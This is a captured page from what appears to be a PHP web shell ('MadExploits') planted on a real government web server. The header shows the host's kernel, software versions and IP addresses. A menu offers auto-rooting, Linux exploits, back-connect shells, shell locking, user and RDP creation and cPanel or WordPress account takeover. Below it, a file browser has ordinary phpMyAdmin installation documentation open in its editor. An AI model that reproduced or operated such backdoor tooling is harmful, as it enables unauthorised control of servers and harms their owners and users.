Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
phpMyAdmin-4.0.10.20 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
_sources
[ DIR ]
drwxr-xr-x
_static
[ DIR ]
drwxr-xr-x
config.html
254
KB
-rw-r--r--
copyright.html
5.56
KB
-rw-r--r--
credits.html
22.33
KB
-rw-r--r--
developers.html
4.86
KB
-rw-r--r--
faq.html
178.33
KB
-rw-r--r--
genindex.html
114.96
KB
-rw-r--r--
glossary.html
31.42
KB
-rw-r--r--
index.html
12.23
KB
-rw-r--r--
intro.html
10.52
KB
-rw-r--r--
other.html
5.71
KB
-rw-r--r--
privileges.html
8.18
KB
-rw-r--r--
require.html
7.7
KB
-rw-r--r--
search.html
3.6
KB
-rw-r--r--
searchindex.js
48.63
KB
-rw-r--r--
setup.html
37.76
KB
-rw-r--r--
transformations.html
12.64
KB
-rw-r--r--
user.html
5.79
KB
-rw-r--r--
vendors.html
6.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : setup.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Installation — phpMyAdmin 4.0.10.20 documentation</title> <link rel="stylesheet" href="_static/classic.css" type="text/css" /> <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: './', VERSION: '4.0.10.20', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="_static/jquery.js"></script> <script type="text/javascript" src="_static/underscore.js"></script> <script type="text/javascript" src="_static/doctools.js"></script> <link rel="index" title="Index" href="genindex.html" /> <link rel="search" title="Search" href="search.html" /> <link rel="copyright" title="Copyright" href="copyright.html" /> <link rel="top" title="phpMyAdmin 4.0.10.20 documentation" href="index.html" /> <link rel="next" title="Configuration" href="config.html" /> <link rel="prev" title="Requirements" href="require.html" /> </head> <body role="document"> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="config.html" title="Configuration" accesskey="N">next</a> |</li> <li class="right" > <a href="require.html" title="Requirements" accesskey="P">previous</a> |</li> <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.0.10.20 documentation</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <div class="section" id="installation"> <span id="setup"></span><h1>Installation<a class="headerlink" href="#installation" title="Permalink to this headline">¶</a></h1> <p>phpMyAdmin does not apply any special security methods to the MySQL database server. It is still the system administrator’s job to grant permissions on the MySQL databases properly. phpMyAdmin’s <span class="guilabel">Users</span> page can be used for this.</p> <div class="admonition warning"> <p class="first admonition-title">Warning</p> <p class="last"><a class="reference internal" href="glossary.html#term-mac"><span class="xref std std-term">Mac</span></a> users should note that if you are on a version before <a class="reference internal" href="glossary.html#term-mac-os-x"><span class="xref std std-term">Mac OS X</span></a>, StuffIt unstuffs with <a class="reference internal" href="glossary.html#term-mac"><span class="xref std std-term">Mac</span></a> formats. So you’ll have to resave as in BBEdit to Unix style ALL phpMyAdmin scripts before uploading them to your server, as PHP seems not to like <a class="reference internal" href="glossary.html#term-mac"><span class="xref std std-term">Mac</span></a>-style end of lines character (“<code class="docutils literal"><span class="pre">\r</span></code>”).</p> </div> <div class="section" id="quick-install"> <span id="id1"></span><h2>Quick Install<a class="headerlink" href="#quick-install" title="Permalink to this headline">¶</a></h2> <ol class="arabic simple"> <li>Choose an appropriate distribution kit from the phpmyadmin.net Downloads page. Some kits contain only the English messages, others contain all languages. We’ll assume you chose a kit whose name looks like <code class="docutils literal"><span class="pre">phpMyAdmin-x.x.x</span> <span class="pre">-all-languages.tar.gz</span></code>.</li> <li>Untar or unzip the distribution (be sure to unzip the subdirectories): <code class="docutils literal"><span class="pre">tar</span> <span class="pre">-xzvf</span> <span class="pre">phpMyAdmin_x.x.x-all-languages.tar.gz</span></code> in your webserver’s document root. If you don’t have direct access to your document root, put the files in a directory on your local machine, and, after step 4, transfer the directory on your web server using, for example, ftp.</li> <li>Ensure that all the scripts have the appropriate owner (if PHP is running in safe mode, having some scripts with an owner different from the owner of other scripts will be a problem). See <a class="reference internal" href="faq.html#faq4-2"><span class="std std-ref">4.2 What’s the preferred way of making phpMyAdmin secure against evil access?</span></a> and <a class="reference internal" href="faq.html#faq1-26"><span class="std std-ref">1.26 I just installed phpMyAdmin in my document root of IIS but I get the error “No input file specified” when trying to run phpMyAdmin.</span></a> for suggestions.</li> <li>Now you must configure your installation. There are two methods that can be used. Traditionally, users have hand-edited a copy of <code class="file docutils literal"><span class="pre">config.inc.php</span></code>, but now a wizard-style setup script is provided for those who prefer a graphical installation. Creating a <code class="file docutils literal"><span class="pre">config.inc.php</span></code> is still a quick way to get started and needed for some advanced features.</li> </ol> <div class="section" id="manually-creating-the-file"> <h3>Manually creating the file<a class="headerlink" href="#manually-creating-the-file" title="Permalink to this headline">¶</a></h3> <p>To manually create the file, simply use your text editor to create the file <code class="file docutils literal"><span class="pre">config.inc.php</span></code> (you can copy <code class="file docutils literal"><span class="pre">config.sample.inc.php</span></code> to get minimal configuration file) in the main (top-level) phpMyAdmin directory (the one that contains <code class="file docutils literal"><span class="pre">index.php</span></code>). phpMyAdmin first loads <code class="file docutils literal"><span class="pre">libraries/config.default.php</span></code> and then overrides those values with anything found in <code class="file docutils literal"><span class="pre">config.inc.php</span></code>. If the default value is okay for a particular setting, there is no need to include it in <code class="file docutils literal"><span class="pre">config.inc.php</span></code>. You’ll need a few directives to get going, a simple configuration may look like this:</p> <div class="highlight-php"><div class="highlight"><pre><span class="cp"><?php</span> <span class="c1">// use here a value of your choice at least 32 chars long</span> <span class="nv">$cfg</span><span class="p">[</span><span class="s1">'blowfish_secret'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'1{dd0`<Q),5XP_:R9UK%%8\"EEcyH#{o'</span><span class="p">;</span> <span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">;</span> <span class="nv">$cfg</span><span class="p">[</span><span class="s1">'Servers'</span><span class="p">][</span><span class="nv">$i</span><span class="p">][</span><span class="s1">'auth_type'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'cookie'</span><span class="p">;</span> <span class="cp">?></span><span class="x"></span> </pre></div> </div> <p>Or, if you prefer to not be prompted every time you log in:</p> <div class="highlight-php"><div class="highlight"><pre><span class="cp"><?php</span> <span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">;</span> <span class="nv">$cfg</span><span class="p">[</span><span class="s1">'Servers'</span><span class="p">][</span><span class="nv">$i</span><span class="p">][</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'root'</span><span class="p">;</span> <span class="nv">$cfg</span><span class="p">[</span><span class="s1">'Servers'</span><span class="p">][</span><span class="nv">$i</span><span class="p">][</span><span class="s1">'password'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'cbb74bc'</span><span class="p">;</span> <span class="c1">// use here your password</span> <span class="nv">$cfg</span><span class="p">[</span><span class="s1">'Servers'</span><span class="p">][</span><span class="nv">$i</span><span class="p">][</span><span class="s1">'auth_type'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'config'</span><span class="p">;</span> <span class="cp">?></span><span class="x"></span> </pre></div> </div> <p>For a full explanation of possible configuration values, see the <a class="reference internal" href="config.html#config"><span class="std std-ref">Configuration</span></a> of this document.</p> </div> <div class="section" id="using-setup-script"> <span id="setup-script"></span><span id="index-0"></span><h3>Using Setup script<a class="headerlink" href="#using-setup-script" title="Permalink to this headline">¶</a></h3> <p>Instead of manually editing <code class="file docutils literal"><span class="pre">config.inc.php</span></code>, you can use phpMyAdmin’s setup feature. The file can be generated using the setup and you can download it for upload to the server.</p> <p>Next, open your browser and visit the location where you installed phpMyAdmin, with the <code class="docutils literal"><span class="pre">/setup</span></code> suffix. The changes are not saved to the server, you need to use the <span class="guilabel">Download</span> button to save them to your computer and then upload to the server.</p> <p>Now the file is ready to be used. You can choose to review or edit the file with your favorite editor, if you prefer to set some advanced options which the setup script does not provide.</p> <ol class="arabic simple"> <li>If you are using the <code class="docutils literal"><span class="pre">auth_type</span></code> “config”, it is suggested that you protect the phpMyAdmin installation directory because using config does not require a user to enter a password to access the phpMyAdmin installation. Use of an alternate authentication method is recommended, for example with HTTP–AUTH in a <a class="reference internal" href="glossary.html#term-htaccess"><span class="xref std std-term">.htaccess</span></a> file or switch to using <code class="docutils literal"><span class="pre">auth_type</span></code> cookie or http. See the <a class="reference internal" href="faq.html#faqmultiuser"><span class="std std-ref">ISPs, multi-user installations</span></a> for additional information, especially <a class="reference internal" href="faq.html#faq4-4"><span class="std std-ref">4.4 phpMyAdmin always gives “Access denied” when using HTTP authentication.</span></a>.</li> <li>Open the <a class="reference external" href="index.php">main phpMyAdmin directory</a> in your browser. phpMyAdmin should now display a welcome screen and your databases, or a login dialog if using <a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a> or cookie authentication mode.</li> <li>You should deny access to the <code class="docutils literal"><span class="pre">./libraries</span></code> and <code class="docutils literal"><span class="pre">./setup/lib</span></code> subfolders in your webserver configuration. For Apache you can use supplied <a class="reference internal" href="glossary.html#term-htaccess"><span class="xref std std-term">.htaccess</span></a> file in that folder, for other webservers, you should configure this yourself. Such configuration prevents from possible path exposure and cross side scripting vulnerabilities that might happen to be found in that code.</li> <li>It is generally good idea to protect public phpMyAdmin installation against access by robots as they usually can not do anything good there. You can do this using <code class="docutils literal"><span class="pre">robots.txt</span></code> file in root of your webserver or limit access by web server configuration, see <a class="reference internal" href="faq.html#faq1-42"><span class="std std-ref">1.42 How can I prevent robots from accessing phpMyAdmin?</span></a>.</li> </ol> </div> </div> <div class="section" id="phpmyadmin-configuration-storage"> <span id="linked-tables"></span><span id="index-1"></span><h2>phpMyAdmin configuration storage<a class="headerlink" href="#phpmyadmin-configuration-storage" title="Permalink to this headline">¶</a></h2> <p>For a whole set of new features (bookmarks, comments, <a class="reference internal" href="glossary.html#term-sql"><span class="xref std std-term">SQL</span></a>-history, tracking mechanism, <a class="reference internal" href="glossary.html#term-pdf"><span class="xref std std-term">PDF</span></a>-generation, column contents transformation, etc.) you need to create a set of special tables. Those tables can be located in your own database, or in a central database for a multi-user installation (this database would then be accessed by the controluser, so no other user should have rights to it).</p> <p>Please look at your <code class="docutils literal"><span class="pre">./examples/</span></code> directory, where you should find a file called <em>create_tables.sql</em>. (If you are using a Windows server, pay special attention to <a class="reference internal" href="faq.html#faq1-23"><span class="std std-ref">1.23 I’m running MySQL on a Win32 machine. Each time I create a new table the table and column names are changed to lowercase!</span></a>).</p> <p>If you already had this infrastructure and upgraded to MySQL 4.1.2 or newer, please use <code class="file docutils literal"><span class="pre">examples/upgrade_tables_mysql_4_1_2+.sql</span></code> and then create new tables by importing <code class="file docutils literal"><span class="pre">examples/create_tables.sql</span></code>.</p> <p>You can use your phpMyAdmin to create the tables for you. Please be aware that you may need special (administrator) privileges to create the database and tables, and that the script may need some tuning, depending on the database name.</p> <p>After having imported the <code class="file docutils literal"><span class="pre">examples/create_tables.sql</span></code> file, you should specify the table names in your <code class="file docutils literal"><span class="pre">config.inc.php</span></code> file. The directives used for that can be found in the <a class="reference internal" href="config.html#config"><span class="std std-ref">Configuration</span></a>. You will also need to have a controluser with the proper rights to those tables (see section <a class="reference internal" href="#authentication-modes"><span class="std std-ref">Using authentication modes</span></a> below).</p> </div> <div class="section" id="upgrading-from-an-older-version"> <span id="upgrading"></span><h2>Upgrading from an older version<a class="headerlink" href="#upgrading-from-an-older-version" title="Permalink to this headline">¶</a></h2> <p>Simply copy <code class="file docutils literal"><span class="pre">config.inc.php</span></code> from your previous installation into the newly unpacked one. Configuration files from old versions may require some tweaking as some options have been changed or removed. For compatibility with PHP 6, remove a <code class="docutils literal"><span class="pre">set_magic_quotes_runtime(0);</span></code> statement that you might find near the end of your configuration file.</p> <p>You should <strong>not</strong> copy <code class="file docutils literal"><span class="pre">libraries/config.default.php</span></code> over <code class="file docutils literal"><span class="pre">config.inc.php</span></code> because the default configuration file is version- specific.</p> <p>If you have upgraded your MySQL server from a version previous to 4.1.2 to version 5.x or newer and if you use the phpMyAdmin configuration storage, you should run the <a class="reference internal" href="glossary.html#term-sql"><span class="xref std std-term">SQL</span></a> script found in <code class="file docutils literal"><span class="pre">examples/upgrade_tables_mysql_4_1_2+.sql</span></code>.</p> </div> <div class="section" id="using-authentication-modes"> <span id="authentication-modes"></span><span id="index-2"></span><h2>Using authentication modes<a class="headerlink" href="#using-authentication-modes" title="Permalink to this headline">¶</a></h2> <p><a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a> and cookie authentication modes are recommended in a <strong>multi-user environment</strong> where you want to give users access to their own database and don’t want them to play around with others. Nevertheless be aware that MS Internet Explorer seems to be really buggy about cookies, at least till version 6. Even in a <strong>single-user environment</strong>, you might prefer to use <a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a> or cookie mode so that your user/password pair are not in clear in the configuration file.</p> <p><a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a> and cookie authentication modes are more secure: the MySQL login information does not need to be set in the phpMyAdmin configuration file (except possibly for the <span class="target" id="index-3"></span><a class="reference internal" href="config.html#cfg_Servers_controluser"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['controluser']</span></code></a>). However, keep in mind that the password travels in plain text, unless you are using the HTTPS protocol. In cookie mode, the password is stored, encrypted with the blowfish algorithm, in a temporary cookie.</p> <p>For ‘<a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a>‘ and ‘cookie’ modes, phpMyAdmin needs a controluser that has <strong>only</strong> the <code class="docutils literal"><span class="pre">SELECT</span></code> privilege on the <em>`mysql`.`user` (all columns except `Password`)</em>, <em>`mysql`.`db` (all columns)</em>, <em>`mysql`.`host` (all columns)</em> and <em>`mysql`.`tables_priv` (all columns except `Grantor` and `Timestamp`)</em> tables. You must specify the details for the controluser in the <code class="file docutils literal"><span class="pre">config.inc.php</span></code> file under the <span class="target" id="index-4"></span><a class="reference internal" href="config.html#cfg_Servers_controluser"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['controluser']</span></code></a> and <span class="target" id="index-5"></span><a class="reference internal" href="config.html#cfg_Servers_controlpass"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['controlpass']</span></code></a> settings. The following example assumes you want to use <code class="docutils literal"><span class="pre">pma</span></code> as the controluser and <code class="docutils literal"><span class="pre">pmapass</span></code> as the controlpass, but <strong>this is only an example: use something else in your file!</strong> Input these statements from the phpMyAdmin <a class="reference internal" href="glossary.html#term-sql"><span class="xref std std-term">SQL</span></a> Query window or mysql command–line client. Of course you have to replace <code class="docutils literal"><span class="pre">localhost</span></code> with the webserver’s host if it’s not the same as the MySQL server’s one.</p> <p>If you want to use the many new relation and bookmark features: (this of course requires that your <a class="reference internal" href="#linked-tables"><span class="std std-ref">phpMyAdmin configuration storage</span></a> be set up).</p> <div class="highlight-mysql"><div class="highlight"><pre><span class="k">GRANT</span> <span class="k">USAGE</span> <span class="k">ON</span> <span class="n">mysql</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'pma'</span><span class="o">@</span><span class="s1">'localhost'</span> <span class="n">IDENTIFIED</span> <span class="k">BY</span> <span class="s1">'pmapass'</span><span class="p">;</span> <span class="k">GRANT</span> <span class="k">SELECT</span> <span class="p">(</span> <span class="n">Host</span><span class="p">,</span> <span class="n">User</span><span class="p">,</span> <span class="n">Select_priv</span><span class="p">,</span> <span class="n">Insert_priv</span><span class="p">,</span> <span class="n">Update_priv</span><span class="p">,</span> <span class="n">Delete_priv</span><span class="p">,</span> <span class="n">Create_priv</span><span class="p">,</span> <span class="n">Drop_priv</span><span class="p">,</span> <span class="n">Reload_priv</span><span class="p">,</span> <span class="n">Shutdown_priv</span><span class="p">,</span> <span class="n">Process_priv</span><span class="p">,</span> <span class="n">File_priv</span><span class="p">,</span> <span class="n">Grant_priv</span><span class="p">,</span> <span class="n">References_priv</span><span class="p">,</span> <span class="n">Index_priv</span><span class="p">,</span> <span class="n">Alter_priv</span><span class="p">,</span> <span class="n">Show_db_priv</span><span class="p">,</span> <span class="n">Super_priv</span><span class="p">,</span> <span class="n">Create_tmp_table_priv</span><span class="p">,</span> <span class="n">Lock_tables_priv</span><span class="p">,</span> <span class="n">Execute_priv</span><span class="p">,</span> <span class="n">Repl_slave_priv</span><span class="p">,</span> <span class="n">Repl_client_priv</span> <span class="p">)</span> <span class="k">ON</span> <span class="n">mysql</span><span class="p">.</span><span class="n">user</span> <span class="k">TO</span> <span class="s1">'pma'</span><span class="o">@</span><span class="s1">'localhost'</span><span class="p">;</span> <span class="k">GRANT</span> <span class="k">SELECT</span> <span class="k">ON</span> <span class="n">mysql</span><span class="p">.</span><span class="n">db</span> <span class="k">TO</span> <span class="s1">'pma'</span><span class="o">@</span><span class="s1">'localhost'</span><span class="p">;</span> <span class="k">GRANT</span> <span class="k">SELECT</span> <span class="k">ON</span> <span class="n">mysql</span><span class="p">.</span><span class="n">host</span> <span class="k">TO</span> <span class="s1">'pma'</span><span class="o">@</span><span class="s1">'localhost'</span><span class="p">;</span> <span class="k">GRANT</span> <span class="k">SELECT</span> <span class="p">(</span><span class="n">Host</span><span class="p">,</span> <span class="n">Db</span><span class="p">,</span> <span class="n">User</span><span class="p">,</span> <span class="n">Table_name</span><span class="p">,</span> <span class="n">Table_priv</span><span class="p">,</span> <span class="n">Column_priv</span><span class="p">)</span> <span class="k">ON</span> <span class="n">mysql</span><span class="p">.</span><span class="n">tables_priv</span> <span class="k">TO</span> <span class="s1">'pma'</span><span class="o">@</span><span class="s1">'localhost'</span><span class="p">;</span> </pre></div> </div> <p>If you want to use the many new relation and bookmark features:</p> <div class="highlight-mysql"><div class="highlight"><pre><span class="k">GRANT</span> <span class="k">SELECT</span><span class="p">,</span> <span class="k">INSERT</span><span class="p">,</span> <span class="k">UPDATE</span><span class="p">,</span> <span class="k">DELETE</span> <span class="k">ON</span> <span class="o"><</span><span class="n">pma_db</span><span class="o">></span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'pma'</span><span class="o">@</span><span class="s1">'localhost'</span><span class="p">;</span> </pre></div> </div> <p>(this of course requires that your phpMyAdmin configuration storage be set up).</p> <p>Then each of the <em>true</em> users should be granted a set of privileges on a set of particular databases. Normally you shouldn’t give global privileges to an ordinary user, unless you understand the impact of those privileges (for example, you are creating a superuser). For example, to grant the user <em>real_user</em> with all privileges on the database <em>user_base</em>:</p> <div class="highlight-mysql"><div class="highlight"><pre><span class="k">GRANT</span> <span class="k">ALL</span> <span class="n">PRIVILEGES</span> <span class="k">ON</span> <span class="n">user_base</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'real_user'</span><span class="o">@</span><span class="n">localhost</span> <span class="n">IDENTIFIED</span> <span class="k">BY</span> <span class="s1">'real_password'</span><span class="p">;</span> </pre></div> </div> <p>What the user may now do is controlled entirely by the MySQL user management system. With HTTP or cookie authentication mode, you don’t need to fill the user/password fields inside the <span class="target" id="index-6"></span><a class="reference internal" href="config.html#cfg_Servers"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers']</span></code></a>.</p> <div class="section" id="http-authentication-mode"> <span id="index-7"></span><h3>HTTP authentication mode<a class="headerlink" href="#http-authentication-mode" title="Permalink to this headline">¶</a></h3> <ul class="simple"> <li>Uses <a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a> Basic authentication method and allows you to log in as any valid MySQL user.</li> <li>Is supported with most PHP configurations. For <a class="reference internal" href="glossary.html#term-iis"><span class="xref std std-term">IIS</span></a> (<a class="reference internal" href="glossary.html#term-isapi"><span class="xref std std-term">ISAPI</span></a>) support using <a class="reference internal" href="glossary.html#term-cgi"><span class="xref std std-term">CGI</span></a> PHP see <a class="reference internal" href="faq.html#faq1-32"><span class="std std-ref">1.32 Can I use HTTP authentication with IIS?</span></a>, for using with Apache <a class="reference internal" href="glossary.html#term-cgi"><span class="xref std std-term">CGI</span></a> see <a class="reference internal" href="faq.html#faq1-35"><span class="std std-ref">1.35 Can I use HTTP authentication with Apache CGI?</span></a>.</li> <li>See also <a class="reference internal" href="faq.html#faq4-4"><span class="std std-ref">4.4 phpMyAdmin always gives “Access denied” when using HTTP authentication.</span></a> about not using the <a class="reference internal" href="glossary.html#term-htaccess"><span class="xref std std-term">.htaccess</span></a> mechanism along with ‘<a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a>‘ authentication mode.</li> </ul> </div> <div class="section" id="cookie-authentication-mode"> <span id="cookie"></span><span id="index-8"></span><h3>Cookie authentication mode<a class="headerlink" href="#cookie-authentication-mode" title="Permalink to this headline">¶</a></h3> <ul class="simple"> <li>You can use this method as a replacement for the <a class="reference internal" href="glossary.html#term-http"><span class="xref std std-term">HTTP</span></a> authentication (for example, if you’re running <a class="reference internal" href="glossary.html#term-iis"><span class="xref std std-term">IIS</span></a>).</li> <li>Obviously, the user must enable cookies in the browser, but this is now a requirement for all authentication modes.</li> <li>With this mode, the user can truly log out of phpMyAdmin and log in back with the same username.</li> <li>If you want to log in to arbitrary server see <span class="target" id="index-9"></span><a class="reference internal" href="config.html#cfg_AllowArbitraryServer"><code class="xref config config-option docutils literal"><span class="pre">$cfg['AllowArbitraryServer']</span></code></a> directive.</li> <li>As mentioned in the <a class="reference internal" href="require.html#require"><span class="std std-ref">Requirements</span></a> section, having the <code class="docutils literal"><span class="pre">mcrypt</span></code> extension will speed up access considerably, but is not required.</li> </ul> </div> <div class="section" id="signon-authentication-mode"> <span id="index-10"></span><h3>Signon authentication mode<a class="headerlink" href="#signon-authentication-mode" title="Permalink to this headline">¶</a></h3> <ul class="simple"> <li>This mode is a convenient way of using credentials from another application to authenticate to phpMyAdmin.</li> <li>The other application has to store login information into session data.</li> </ul> <div class="admonition seealso"> <p class="first admonition-title">See also</p> <p class="last"><span class="target" id="index-11"></span><a class="reference internal" href="config.html#cfg_Servers_auth_type"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['auth_type']</span></code></a>, <span class="target" id="index-12"></span><a class="reference internal" href="config.html#cfg_Servers_SignonSession"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['SignonSession']</span></code></a>, <span class="target" id="index-13"></span><a class="reference internal" href="config.html#cfg_Servers_SignonScript"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['SignonScript']</span></code></a>, <span class="target" id="index-14"></span><a class="reference internal" href="config.html#cfg_Servers_SignonURL"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['SignonURL']</span></code></a></p> </div> </div> <div class="section" id="config-authentication-mode"> <span id="index-15"></span><h3>Config authentication mode<a class="headerlink" href="#config-authentication-mode" title="Permalink to this headline">¶</a></h3> <ul class="simple"> <li>This mode is the less secure one because it requires you to fill the <span class="target" id="index-16"></span><a class="reference internal" href="config.html#cfg_Servers_user"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['user']</span></code></a> and <span class="target" id="index-17"></span><a class="reference internal" href="config.html#cfg_Servers_password"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['password']</span></code></a> fields (and as a result, anyone who can read your <code class="file docutils literal"><span class="pre">config.inc.php</span></code> can discover your username and password). But you don’t need to setup a “controluser” here: using the <span class="target" id="index-18"></span><a class="reference internal" href="config.html#cfg_Servers_only_db"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['only_db']</span></code></a> might be enough.</li> <li>In the <a class="reference internal" href="faq.html#faqmultiuser"><span class="std std-ref">ISPs, multi-user installations</span></a> section, there is an entry explaining how to protect your configuration file.</li> <li>For additional security in this mode, you may wish to consider the Host authentication <span class="target" id="index-19"></span><a class="reference internal" href="config.html#cfg_Servers_AllowDeny_order"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['AllowDeny']['order']</span></code></a> and <span class="target" id="index-20"></span><a class="reference internal" href="config.html#cfg_Servers_AllowDeny_rules"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['AllowDeny']['rules']</span></code></a> configuration directives.</li> <li>Unlike cookie and http, does not require a user to log in when first loading the phpMyAdmin site. This is by design but could allow any user to access your installation. Use of some restriction method is suggested, perhaps a <a class="reference internal" href="glossary.html#term-htaccess"><span class="xref std std-term">.htaccess</span></a> file with the HTTP-AUTH directive or disallowing incoming HTTP requests at one’s router or firewall will suffice (both of which are beyond the scope of this manual but easily searchable with Google).</li> </ul> </div> </div> <div class="section" id="securing-your-phpmyadmin-installation"> <h2>Securing your phpMyAdmin installation<a class="headerlink" href="#securing-your-phpmyadmin-installation" title="Permalink to this headline">¶</a></h2> <p>The phpMyAdmin team tries hardly to make the application secure, however there are always ways to make your installation more secure:</p> <ul class="simple"> <li>remove <code class="docutils literal"><span class="pre">setup</span></code> directory from phpMyAdmin, you will probably not use it after initial setup</li> <li>prevent access to <code class="docutils literal"><span class="pre">libraries</span></code> directory from browser, as it is not needed, supplied <code class="docutils literal"><span class="pre">.htaccess</span></code> file does this</li> <li>properly choose authentication method - <a class="reference internal" href="#cookie"><span class="std std-ref">Cookie authentication mode</span></a> is probably the best choice for shared hosting</li> <li>in case you don’t want all MySQL users to be able to access phpMyAdmin, you can use <span class="target" id="index-21"></span><a class="reference internal" href="config.html#cfg_Servers_AllowDeny_rules"><code class="xref config config-option docutils literal"><span class="pre">$cfg['Servers'][$i]['AllowDeny']['rules']</span></code></a> to limit them</li> <li>consider hiding phpMyAdmin behind authentication proxy, so that MySQL credentials are not all users need to login</li> </ul> </div> </div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h3><a href="index.html">Table Of Contents</a></h3> <ul> <li><a class="reference internal" href="#">Installation</a><ul> <li><a class="reference internal" href="#quick-install">Quick Install</a><ul> <li><a class="reference internal" href="#manually-creating-the-file">Manually creating the file</a></li> <li><a class="reference internal" href="#using-setup-script">Using Setup script</a></li> </ul> </li> <li><a class="reference internal" href="#phpmyadmin-configuration-storage">phpMyAdmin configuration storage</a></li> <li><a class="reference internal" href="#upgrading-from-an-older-version">Upgrading from an older version</a></li> <li><a class="reference internal" href="#using-authentication-modes">Using authentication modes</a><ul> <li><a class="reference internal" href="#http-authentication-mode">HTTP authentication mode</a></li> <li><a class="reference internal" href="#cookie-authentication-mode">Cookie authentication mode</a></li> <li><a class="reference internal" href="#signon-authentication-mode">Signon authentication mode</a></li> <li><a class="reference internal" href="#config-authentication-mode">Config authentication mode</a></li> </ul> </li> <li><a class="reference internal" href="#securing-your-phpmyadmin-installation">Securing your phpMyAdmin installation</a></li> </ul> </li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="require.html" title="previous chapter">Requirements</a></p> <h4>Next topic</h4> <p class="topless"><a href="config.html" title="next chapter">Configuration</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="_sources/setup.txt" rel="nofollow">Show Source</a></li> </ul> </div> <div id="searchbox" style="display: none" role="search"> <h3>Quick search</h3> <form class="search" action="search.html" method="get"> <div><input type="text" name="q" /></div> <div><input type="submit" value="Go" /></div> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="config.html" title="Configuration" >next</a> |</li> <li class="right" > <a href="require.html" title="Requirements" >previous</a> |</li> <li class="nav-item nav-item-0"><a href="index.html">phpMyAdmin 4.0.10.20 documentation</a> »</li> </ul> </div> <div class="footer" role="contentinfo"> © <a href="copyright.html">Copyright</a> 2012 - 2013, The phpMyAdmin devel team. Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. </div> </body> </html>
Close